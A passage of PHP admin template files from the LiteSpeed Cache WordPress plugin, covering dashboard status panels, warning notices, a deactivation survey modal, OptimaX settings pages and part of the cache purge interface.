								<a href="<?php echo ! empty( $placeholder_queue_count ) ? esc_url( Utility::build_url( Router::ACTION_PLACEHOLDER, Placeholder::TYPE_GENERATE ) ) : 'javascript:;'; ?>"
									class="button button-secondary button-small <?php echo empty( $placeholder_queue_count ) ? 'disabled' : ''; ?>">
									<?php esc_html_e( 'Force cron', 'litespeed-cache' ); ?>
								</a>
							</p>
						</div>
						<?php if ( ! empty( $cloud_summary['last_request.lqip'] ) ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<?php
								printf(
									esc_html__( 'Last requested: %s', 'litespeed-cache' ),
									esc_html( Utility::readable_time( $cloud_summary['last_request.lqip'] ) )
								);
								?>
							</div>
						<?php endif; ?>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-vpi">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Viewport Image', 'litespeed-cache' ); ?> (VPI)
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-page_optm#settings_vpi' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<?php if ( ! empty( $vpi_summary['last_request'] ) ) : ?>
								<p>
									<?php
									printf(
										esc_html__( 'Last generated: %s', 'litespeed-cache' ),
										'<code>' . esc_html( Utility::readable_time( $vpi_summary['last_request'] ) ) . '</code>'
									);
									?>
								</p>
								<p>
									<?php
									printf(
										esc_html__( 'Time to execute previous request: %s', 'litespeed-cache' ),
										'<code>' . esc_html( $vpi_summary['last_spent'] ) . 's</code>'
									);
									?>
								</p>
							<?php endif; ?>
							<p>
								<?php esc_html_e( 'Requests in queue', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $vpi_queue_count ) ? esc_html( $vpi_queue_count ) : '-'; ?></code>
								<a href="<?php echo ! empty( $vpi_queue_count ) ? esc_url( Utility::build_url( Router::ACTION_VPI, VPI::TYPE_GEN ) ) : 'javascript:;'; ?>"
									class="button button-secondary button-small <?php echo empty( $vpi_queue_count ) ? 'disabled' : ''; ?>">
									<?php esc_html_e( 'Force cron', 'litespeed-cache' ); ?>
								</a>
							</p>
						</div>
						<?php if ( ! empty( $cloud_summary['last_request.vpi'] ) ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<?php
								printf(
									esc_html__( 'Last requested: %s', 'litespeed-cache' ),
									esc_html( Utility::readable_time( $cloud_summary['last_request.vpi'] ) )
								);
								?>
							</div>
						<?php endif; ?>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-crawler">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Crawler Status', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<p>
								<code><?php echo esc_html( count( Crawler::cls()->list_crawlers() ) ); ?></code> <?php esc_html_e( 'Crawler(s)', 'litespeed-cache' ); ?>
							</p>
							<p>
								<?php esc_html_e( 'Currently active crawler', 'litespeed-cache' ); ?>: <code><?php echo esc_html( $crawler_summary['curr_crawler'] ); ?></code>
							</p>
							<?php if ( ! empty( $crawler_summary['curr_crawler_beginning_time'] ) ) : ?>
								<p>
									<span class="litespeed-bold"><?php esc_html_e( 'Current crawler started at', 'litespeed-cache' ); ?>:</span>
									<?php echo esc_html( Utility::readable_time( $crawler_summary['curr_crawler_beginning_time'] ) ); ?>
								</p>
							<?php endif; ?>
							<?php if ( ! empty( $crawler_summary['last_start_time'] ) ) : ?>
								<p class="litespeed-desc">
									<span class="litespeed-bold"><?php esc_html_e( 'Last interval', 'litespeed-cache' ); ?>:</span>
									<?php echo esc_html( Utility::readable_time( $crawler_summary['last_start_time'] ) ); ?>
								</p>
							<?php endif; ?>
							<?php if ( ! empty( $crawler_summary['end_reason'] ) ) : ?>
								<p class="litespeed-desc">
									<span class="litespeed-bold"><?php esc_html_e( 'Ended reason', 'litespeed-cache' ); ?>:</span>
									<?php echo esc_html( $crawler_summary['end_reason'] ); ?>
								</p>
							<?php endif; ?>
							<?php if ( ! empty( $crawler_summary['last_crawled'] ) ) : ?>
								<p class="litespeed-desc">
									<?php
									printf(
										esc_html__( '%1$s %2$d item(s)', 'litespeed-cache' ),
										'<span class="litespeed-bold">' . esc_html__( 'Last crawled:', 'litespeed-cache' ) . '</span>',
										esc_html( $crawler_summary['last_crawled'] )
									);
									?>
								</p>
							<?php endif; ?>
						</div>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-quiccloud <?php echo empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ? 'litespeed-postbox--quiccloud' : ''; ?>">
						<div class="inside">
							<h3 class="litespeed-title litespeed-dashboard-title--w-btn">
								<span class="litespeed-quic-icon"></span><?php esc_html_e( 'QUIC.cloud CDN', 'litespeed-cache' ); ?>
								<?php if ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) : ?>
									<a href="https://www.quic.cloud/quic-cloud-services-and-features/litespeed-cache-service/" class="litespeed-title-right-icon" target="_blank"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
								<?php else : ?>
									<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-cdn' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
								<?php endif; ?>
							</h3>
							<?php if ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) : ?>
								<div class="litespeed-text-center litespeed-empty-space-medium">
									<p class="litespeed-margin-bottom20">
										<?php
										Doc::learn_more(
											esc_url( Utility::build_url( Router::ACTION_CLOUD, $cloud_instance->activated() ? Cloud::TYPE_ENABLE_CDN : Cloud::TYPE_ACTIVATE ) ),
											'<span class="dashicons dashicons-saved"></span>' . esc_html__( 'Enable QUIC.cloud CDN', 'litespeed-cache' ),
											true,
											'button button-primary litespeed-button-cta'
										);
										?>
									</p>
									<p class="litespeed-margin-bottom10 litespeed-top20 litespeed-text-md">
										<strong class="litespeed-qc-text-gradient"><?php esc_html_e( 'Best available WordPress performance', 'litespeed-cache' ); ?></strong>
									</p>
									<p class="litespeed-margin-bottom20 litespeed-margin-top-remove">
										<?php
										printf(
											esc_html__( 'Globally fast TTFB, easy setup, and %s!', 'litespeed-cache' ),
											'<a href="https://www.quic.cloud/quic-cloud-services-and-features/litespeed-cache-service/" target="_blank">' . esc_html__( 'more', 'litespeed-cache' ) . '</a>'
										);
										?>
									</p>
								</div>
							<?php else : ?>
								<?php echo wp_kses_post( $cloud_instance->load_qc_status_for_dash( 'cdn_dash_mini' ) ); ?>
							<?php endif; ?>
						</div>
						<?php if ( $cloud_instance->activated() ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_SYNC_STATUS ) ); ?>"
									class="button button-<?php echo 'cdn' !== $cloud_summary['qc_activated'] ? 'link' : 'secondary'; ?> button-small">
									<?php if ( 'cdn' === $cloud_summary['qc_activated'] ) : ?>
										<span class="dashicons dashicons-update"></span>
									<?php endif; ?>
									<?php esc_html_e( 'Refresh Status', 'litespeed-cache' ); ?>
									<span class="screen-reader-text"><?php esc_html_e( 'Refresh QUIC.cloud status', 'litespeed-cache' ); ?></span>
								</a>
							</div>
						<?php endif; ?>
					</div>

					<?php
					$promo_mini = $cloud_instance->load_qc_status_for_dash( 'promo_mini' );
					if ( $promo_mini ) :
						echo wp_kses_post( $promo_mini );
					endif;
					?>

					<?php if ( $cloud_instance->activated() ) : ?>
						<?php
						$news = $cloud_instance->load_qc_status_for_dash( 'news_dash' );
						if ( $news ) :
							?>
							<div class="postbox litespeed-postbox">
								<div class="inside litespeed-text-center">
									<h3 class="litespeed-title">
										<?php esc_html_e( 'News', 'litespeed-cache' ); ?>
									</h3>
									<div class="litespeed-top20">
										<?php echo wp_kses_post( $news ); ?>
									</div>
								</div>
							</div>
						<?php endif; ?>
					<?php endif; ?>
				</div>
			</div>
		</div>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/check_cache_disabled.php000064400000004003151031165260022374 0ustar00<?php
/**
 * LiteSpeed Cache Warning Notice
 *
 * Displays warnings if LiteSpeed Cache functionality is unavailable due to server or plugin configuration issues.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$reasons = array();

if ( ! defined( 'LITESPEED_ALLOWED' ) ) {
    if ( defined( 'LITESPEED_SERVER_TYPE' ) && LITESPEED_SERVER_TYPE === 'NONE' ) {
        $reasons[] = array(
            'title' => esc_html__( 'To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.', 'litespeed-cache' ),
            'link'  => 'https://docs.litespeedtech.com/lscache/lscwp/faq/#why-do-the-cache-features-require-a-litespeed-server',
        );
    } else {
        $reasons[] = array(
            'title' => esc_html__( 'Please enable the LSCache Module at the server level, or ask your hosting provider.', 'litespeed-cache' ),
            'link'  => 'https://docs.litespeedtech.com/lscache/lscwp/#server-level-prerequisites',
        );
    }
} elseif ( ! defined( 'LITESPEED_ON' ) ) {
    $reasons[] = array(
        'title' => esc_html__( 'Please enable LiteSpeed Cache in the plugin settings.', 'litespeed-cache' ),
        'link'  => 'https://docs.litespeedtech.com/lscache/lscwp/cache/#enable-cache',
    );
}

if ( $reasons ) : ?>
    <div class="litespeed-callout notice notice-error inline">
        <h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
        <p>
            <?php esc_html_e( 'LSCache caching functions on this page are currently unavailable!', 'litespeed-cache' ); ?>
        </p>
        <ul class="litespeed-list">
            <?php foreach ( $reasons as $reason ) : ?>
                <li>
                    <?php echo esc_html( $reason['title'] ); ?>
                    <a href="<?php echo esc_url( $reason['link'] ); ?>" target="_blank" class="litespeed-learn-more"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>
<?php endif; ?>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/show_rule_conflict.php000064400000001647151031165260022250 0ustar00<?php
/**
 * LiteSpeed Cache Unexpected Cache Rule Notice
 *
 * Displays a warning notice about conflicting cache rules in .htaccess that may cause stale content.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

$err = sprintf(
	esc_html__(
		'Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)',
		'litespeed-cache'
	),
	'.htaccess',
	'<code>ExpiresDefault</code>',
	'<a href="https://docs.litespeedtech.com/lscache/lscwp/troubleshoot/#browser-displays-stale-content" target="_blank">',
	'</a>'
);

// Other plugin left cache expired rules in .htaccess which will cause conflicts
echo wp_kses_post( self::build_notice(self::NOTICE_YELLOW . ' lscwp-notice-ruleconflict', $err) );
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/check_if_network_disable_all.php000064400000001564151031165260024175 0ustar00<?php
/**
 * LiteSpeed Cache Network Primary Site Configuration Warning
 *
 * Displays a warning notice on subsite admin pages when the network admin has enforced primary site configurations.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

if ( ! is_multisite() ) {
    return;
}

if ( get_current_blog_id() === BLOG_ID_CURRENT_SITE ) {
    return;
}

if ( ! $this->network_conf( Base::NETWORK_O_USE_PRIMARY ) ) {
    return;
}
?>
<div class="litespeed-callout notice notice-error inline">
    <h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
    <p>
        <?php esc_html_e( 'The network admin selected use primary site configs for all subsites.', 'litespeed-cache' ); ?>
        <?php esc_html_e( 'The following options are selected, but are not editable in this settings page.', 'litespeed-cache' ); ?>
    </p>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/admin_footer.php000064400000003400151031165260021013 0ustar00<?php
/**
 * LiteSpeed Cache Admin Footer
 *
 * Customizes the admin footer text for LiteSpeed Cache with links to rate, documentation, support forum, and community.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$stars = '<span class="wporg-ratings rating-stars"><span class="dashicons dashicons-star-filled" style="color:#ffb900 !important;"></span><span class="dashicons dashicons-star-filled" style="color:#ffb900 !important;"></span><span class="dashicons dashicons-star-filled" style="color:#ffb900 !important;"></span><span class="dashicons dashicons-star-filled" style="color:#ffb900 !important;"></span><span class="dashicons dashicons-star-filled" style="color:#ffb900 !important;"></span></span>';

$rate_us = '<a href="https://wordpress.org/support/plugin/litespeed-cache/reviews/?filter=5#new-post" rel="noopener noreferrer" target="_blank">' . sprintf( esc_html__( 'Rate %1$s on %2$s', 'litespeed-cache' ), '<strong>' . esc_html__( 'LiteSpeed Cache', 'litespeed-cache' ) . $stars . '</strong>', 'WordPress.org' ) . '</a>';

$wiki = '<a href="https://docs.litespeedtech.com/lscache/lscwp/" target="_blank">' . esc_html__( 'Read LiteSpeed Documentation', 'litespeed-cache' ) . '</a>';

$forum = '<a href="https://wordpress.org/support/plugin/litespeed-cache" target="_blank">' . esc_html__( 'Visit LSCWP support forum', 'litespeed-cache' ) . '</a>';

$community = '<a href="https://litespeedtech.com/slack" target="_blank">' . esc_html__( 'Join LiteSpeed Slack community', 'litespeed-cache' ) . '</a>';

// Change the footer text
if ( ! is_multisite() || is_network_admin() ) {
	$footer_text = $rate_us . ' | ' . $wiki . ' | ' . $forum . ' | ' . $community;
} else {
	$footer_text = $wiki . ' | ' . $forum . ' | ' . $community;
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/show_error_cookie.php000064400000001631151031165260022073 0ustar00<?php
/**
 * LiteSpeed Cache Database Login Cookie Notice
 *
 * Displays a notice about mismatched login cookies for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

$err =
	esc_html__('NOTICE: Database login cookie did not match your login cookie.', 'litespeed-cache') .
	' ' .
	esc_html__('If the login cookie was recently changed in the settings, please log out and back in.', 'litespeed-cache') .
	' ' .
	sprintf(
		esc_html__('If not, please verify the setting in the %sAdvanced tab%s.', 'litespeed-cache'),
		"<a href='" . esc_url(admin_url('admin.php?page=litespeed-cache#advanced')) . '">',
		'</a>'
	);

if (LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS') {
	$err .= ' ' . esc_html__('If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.', 'litespeed-cache');
}

self::add_notice(self::NOTICE_YELLOW, $err);
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/in_upgrading.php000064400000001020151031165260021007 0ustar00<?php
/**
 * LiteSpeed Cache Upgrade Notice
 *
 * Displays a notice informing the user that the LiteSpeed Cache plugin has been upgraded and a page refresh is needed to complete the configuration data upgrade.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$message = esc_html__( 'LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.', 'litespeed-cache' );

echo wp_kses_post( self::build_notice( self::NOTICE_BLUE, $message ) );
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/show_display_installed.php000064400000003255151031165260023121 0ustar00<?php
/**
 * LiteSpeed Cache Installation Notice
 *
 * Displays a notice informing users that the LiteSpeed Cache plugin was installed by the server admin.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$buf  = sprintf(
	'<h3>%s</h3>
	<p>%s</p>
	<p>%s</p>
	<p>%s</p>
	<p>%s</p>
	<p>%s</p>
	<ul>
		<li>%s</li>
		<li>%s</li>
	</ul>',
	esc_html__( 'LiteSpeed Cache plugin is installed!', 'litespeed-cache' ),
	esc_html__( 'This message indicates that the plugin was installed by the server admin.', 'litespeed-cache' ),
	esc_html__( 'The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.', 'litespeed-cache' ),
	esc_html__( 'However, there is no way of knowing all the possible customizations that were implemented.', 'litespeed-cache' ),
	esc_html__( 'For that reason, please test the site to make sure everything still functions properly.', 'litespeed-cache' ),
	esc_html__( 'Examples of test cases include:', 'litespeed-cache' ),
	esc_html__( 'Visit the site while logged out.', 'litespeed-cache' ),
	esc_html__( 'Create a post, make sure the front page is accurate.', 'litespeed-cache' )
);
$buf .= sprintf(
	/* translators: %s: Link tags */
	esc_html__( 'If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.', 'litespeed-cache' ),
	'<a href="https://wordpress.org/support/plugin/litespeed-cache" rel="noopener noreferrer" target="_blank">',
	'</a>'
);
$buf .= '<p>' . esc_html__( 'If you would rather not move at litespeed, you can deactivate this plugin.', 'litespeed-cache' ) . '</p>';

self::add_notice( self::NOTICE_BLUE . ' lscwp-whm-notice', $buf );
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/modal.deactivation.php000064400000013447151031165260022126 0ustar00<?php
/**
 * LiteSpeed Cache Deactivation Modal
 *
 * Renders the deactivation modal interface for LiteSpeed Cache, allowing users to send reason of deactivation.
 *
 * @package LiteSpeed
 * @since 7.3
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

// Modal data
$_title = esc_html__('Deactivate LiteSpeed Cache', 'litespeed');
$_id    = 'litespeed-modal-deactivate';

$reasons = array(
	array(
		'value' => 'Temporary',
		'text' => esc_html__('The deactivation is temporary', 'litespeed-cache'),
		'id' => 'temp',
		'selected' => true,
	),
	array(
		'value' => 'Performance worse',
		'text' => esc_html__('Site performance is worse', 'litespeed-cache'),
		'id' => 'performance',
	),
	array(
		'value' => 'Plugin complicated',
		'text' => esc_html__('Plugin is too complicated', 'litespeed-cache'),
		'id' => 'complicated',
	),
	array(
		'value' => 'Other',
		'text' => esc_html__('Other', 'litespeed-cache'),
		'id' => 'other',
	),
);
?>
<div style="display: none">
    <div id="litespeed-deactivation" class="iziModal">
        <div id="litespeed-modal-deactivate">
            <form id="litespeed-deactivation-form" method="post">
                <p><?php esc_attr_e('Why are you deactivating the plugin?', 'litespeed-cache'); ?></p>
                <div class="deactivate-reason-wrapper">
                    <?php foreach ($reasons as $reason) : ?>
                    <label for="litespeed-deactivate-reason-<?php esc_attr_e( $reason['id'] ); ?>">
                        <input type="radio" id="litespeed-deactivate-reason-<?php esc_attr_e( $reason['id'] ); ?>" value="<?php esc_attr_e( $reason['value'] ); ?>"
                            <?php isset($reason['selected']) && $reason['selected'] ? ' checked="checked"' : ''; ?> name="litespeed-reason" />
                        <?php esc_html_e( $reason['text'] ); ?>
                    </label>
                    <?php endforeach; ?>
                </div>
                <div class="deactivate-clear-settings-wrapper">
                    <i style="font-size: 0.9em;">
                        <?php
                            esc_html_e('On uninstall, all plugin settings will be deleted.', 'litespeed-cache');
                        ?>
                    </i>
                    <br />
                    <i style="font-size: 0.9em;">

                        <?php
                            printf(
                                esc_html__('If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images.', 'litespeed-cache'),
                                '<a href="admin.php?page=litespeed-img_optm#litespeed-imageopt-destroy" target="_blank">',
                                '</a>'
                            );
                        ?>
                    </i>
                </div>
                <div class="deactivate-actions">
                    <input type="submit" id="litespeed-deactivation-form-submit" class="button button-primary" value="<?php esc_attr_e('Deactivate', 'litespeed-cache'); ?>" title="<?php esc_attr_e('Deactivate plugin', 'litespeed-cache'); ?>" />
                    <input type="button" id="litespeed-deactivation-form-cancel" class="button litespeed-btn-warning" value="<?php esc_attr_e('Cancel', 'litespeed-cache'); ?>" title="<?php esc_attr_e('Close popup', 'litespeed-cache'); ?>" />
                </div>
            </form>
        </div>
    </div>
</div>
<script>
    (function ($) {
    'use strict';
        jQuery(document).ready(function () {
            var lscId = '<?php echo home_url(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>';
            var modalesc_attr_element = $('#litespeed-deactivation');
            var deactivateesc_attr_element = $('#deactivate-litespeed-cache');

            if (deactivateesc_attr_element.length > 0 && modalesc_attr_element.length > 0) {
                // Variables
                var modal_formElement = $('#litespeed-deactivation-form');

                deactivateesc_attr_element.on('click', function (e) {
                    e.preventDefault();
                    e.stopImmediatePropagation();
                    modal_formElement.attr('action', decodeURI($(this).attr('href')));
                    modalesc_attr_element.iziModal({
                        radius: '.5rem',
                        width: 550,
                        autoOpen: true,
                    });
                });

                $(document).on('submit', '#litespeed-deactivation-form', function (e) {
                    e.preventDefault();
                    $('#litespeed-deactivation-form-submit').attr('disabled', true);
                    var container = $('#litespeed-deactivation-form');

                    // Save selected data
                    var data = {
                        id: lscId,
                        siteLink: window.location.hostname,
                        reason: $(container).find('[name=litespeed-reason]:checked').val()
                    };

                    $.ajax({
                        url: 'https://wpapi.quic.cloud/survey',
                        dataType: 'json',
                        method: 'POST',
                        cache: false,
                        data: data,
                        success: function (data) {
                            console.log('QC data sent.');
                        },
                        error: function (xhr, error) {
                            console.log('Error sending data to QC.');
                        },
                    });

                    $('#litespeed-deactivation-form')[0].submit();
                });
                $(document).on('click', '#litespeed-deactivation-form-cancel', function (e) {
                    modalesc_attr_element.iziModal('close');
                });
            }
        });
    })(jQuery);
</script>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/inc/metabox.php000064400000003122151031165260020005 0ustar00<?php
/**
 * LiteSpeed Cache Post Meta Settings
 *
 * Renders the post meta settings interface for LiteSpeed Cache, allowing configuration of post-specific options.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

wp_nonce_field( self::POST_NONCE_ACTION, Router::NONCE );

$pid = get_the_ID();

foreach ( $this->_postmeta_settings as $key => $label ) {
	$existing_val = get_post_meta( $pid, $key, true );

	if ( in_array( $key, array( 'litespeed_vpi_list', 'litespeed_vpi_list_mobile' ), true ) ) {
		if ( is_array( $existing_val ) ) {
			$existing_val = implode( PHP_EOL, $existing_val );
		}
		?>
		<div style="margin-bottom:10px;">
			<label for="<?php echo esc_attr( Str::trim_quotes( $key ) ); ?>"><?php echo esc_html( $label ); ?></label>
			<textarea style="width:100%" rows="5" id="<?php echo esc_attr( Str::trim_quotes( $key ) ); ?>" name="<?php echo esc_attr( Str::trim_quotes( $key ) ); ?>"><?php echo esc_textarea( $existing_val ); ?></textarea>
		</div>
		<?php
	} else {
		?>
		<div style="display:flex;margin-bottom:10px;align-items: center;gap: 2ch;justify-content: space-between;">
			<label for="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $label ); ?></label>
			<input class="litespeed-tiny-toggle" id="<?php echo esc_attr( Str::trim_quotes( $key ) ); ?>" name="<?php echo esc_attr( Str::trim_quotes( $key ) ); ?>" type="checkbox" value="1" <?php echo $existing_val ? 'checked' : ''; ?> />
		</div>
		<?php
	}
}
?>

<div style="text-align:right;">
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/metabox/' ); ?>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/optimax/entry.tpl.php000064400000002322151031165260021216 0ustar00<?php
/**
 * LiteSpeed Cache OptimaX
 *
 * Manages the OptimaX interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 8.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
    'summary'  => esc_html__( 'OptimaX Summary', 'litespeed-cache' ),
    'settings' => esc_html__( 'OptimaX Settings', 'litespeed-cache' ),
);

if ( is_network_admin() ) {
    $menu_list = array(
        'network_settings' => esc_html__( 'OptimaX Settings', 'litespeed-cache' ),
    );
}

?>

<div class="wrap">
    <h1 class="litespeed-h1">
        <?php esc_html_e( 'LiteSpeed Cache OptimaX', 'litespeed-cache' ); ?>
    </h1>
    <span class="litespeed-desc">
        v<?php echo esc_html( Core::VER ); ?>
    </span>
    <hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
    <h2 class="litespeed-header nav-tab-wrapper">
        <?php GUI::display_tab_list( $menu_list ); ?>
    </h2>

    <div class="litespeed-body">
        <?php
        foreach ( $menu_list as $menu_key => $val ) {
            echo '<div data-litespeed-layout="' . esc_attr( $menu_key ) . '">';
            require LSCWP_DIR . 'tpl/optimax/' . $menu_key . '.tpl.php';
            echo '</div>';
        }
        ?>
    </div>

</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/optimax/settings.tpl.php000064400000001625151031165260021722 0ustar00<?php
/**
 * LiteSpeed Cache OptimaX Settings
 *
 * Manages OptimaX settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 8.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'OptimaX Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/imageopt/#image-optimization-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTIMAX; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Turn on OptimaX. This will automatically request your pages OptimaX result via cron job.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

	</tbody>
</table>

<?php
$this->form_end();
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/optimax/summary.tpl.php000064400000001427151031165260021557 0ustar00<?php
/**
 * LiteSpeed Cache OptimaX Summary
 *
 * Manages the OX summary interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 8.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

?>
<div class="litespeed-flex-container litespeed-column-with-boxes">
	<div class="litespeed-width-7-10 litespeed-column-left litespeed-image-optim-summary-wrapper">
		<div class="litespeed-image-optim-summary">
			<h3>
				Coming soon
			</h3>
		</div>
	</div>

	<div class="litespeed-width-3-10 litespeed-column-right">
		<div class="postbox litespeed-postbox litespeed-postbox-imgopt-info">
			<div class="inside">
				<h3 class="litespeed-title">
					Placeholder
				</h3>

				<div class="litespeed-flex-container">
					... Placeholder ...
				</div>
			</div>
		</div>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/purge.tpl.php000064400000026626151031165260021221 0ustar00<?php
/**
 * LiteSpeed Cache Purge Interface
 *
 * Renders the purge interface for LiteSpeed Cache, allowing users to clear various cache types and purge specific content.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$_panels = array(
	array(
		'title'      => esc_html__( 'Purge Front Page', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will Purge Front Page only', 'litespeed-cache' ),
		'icon'       => 'purge-front',
		'append_url' => Purge::TYPE_PURGE_FRONTPAGE,
	),
	array(
		'title'      => esc_html__( 'Purge Pages', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will Purge Pages only', 'litespeed-cache' ),
		'icon'       => 'purge-pages',
		'append_url' => Purge::TYPE_PURGE_PAGES,
	),
);

foreach ( Tag::$error_code_tags as $code ) {
	$_panels[] = array(
		'title'      => sprintf( esc_html__( 'Purge %s Error', 'litespeed-cache' ), esc_html( $code ) ),
		'desc'       => sprintf( esc_html__( 'Purge %s error pages', 'litespeed-cache' ), esc_html( $code ) ),
		'icon'       => 'purge-' . esc_attr( $code ),
		'append_url' => Purge::TYPE_PURGE_ERROR . esc_attr( $code ),
	);
}

$_panels[] = array(
	'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - LSCache',
	'desc'       => esc_html__( 'Purge the LiteSpeed cache entries created by this plugin', 'litespeed-cache' ),
	'icon'       => 'purge-all',
	'append_url' => Purge::TYPE_PURGE_ALL_LSCACHE,
);

$_panels[] = array(
	'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ),
	'desc'       => esc_html__( 'This will purge all minified/combined CSS/JS entries only', 'litespeed-cache' ),
	'icon'       => 'purge-cssjs',
	'append_url' => Purge::TYPE_PURGE_ALL_CSSJS,
);

if ( defined( 'LSCWP_OBJECT_CACHE' ) ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ),
		'desc'       => esc_html__( 'Purge all the object caches', 'litespeed-cache' ),
		'icon'       => 'purge-object',
		'append_url' => Purge::TYPE_PURGE_ALL_OBJECT,
	);
}

if ( Router::opcache_enabled() ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ),
		'desc'       => esc_html__( 'Reset the entire opcode cache', 'litespeed-cache' ),
		'icon'       => 'purge-opcache',
		'append_url' => Purge::TYPE_PURGE_ALL_OPCACHE,
	);
}

if ( $this->has_cache_folder( 'ccss' ) ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Critical CSS', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will delete all generated critical CSS files', 'litespeed-cache' ),
		'icon'       => 'purge-cssjs',
		'append_url' => Purge::TYPE_PURGE_ALL_CCSS,
	);
}

if ( $this->has_cache_folder( 'ucss' ) ) {
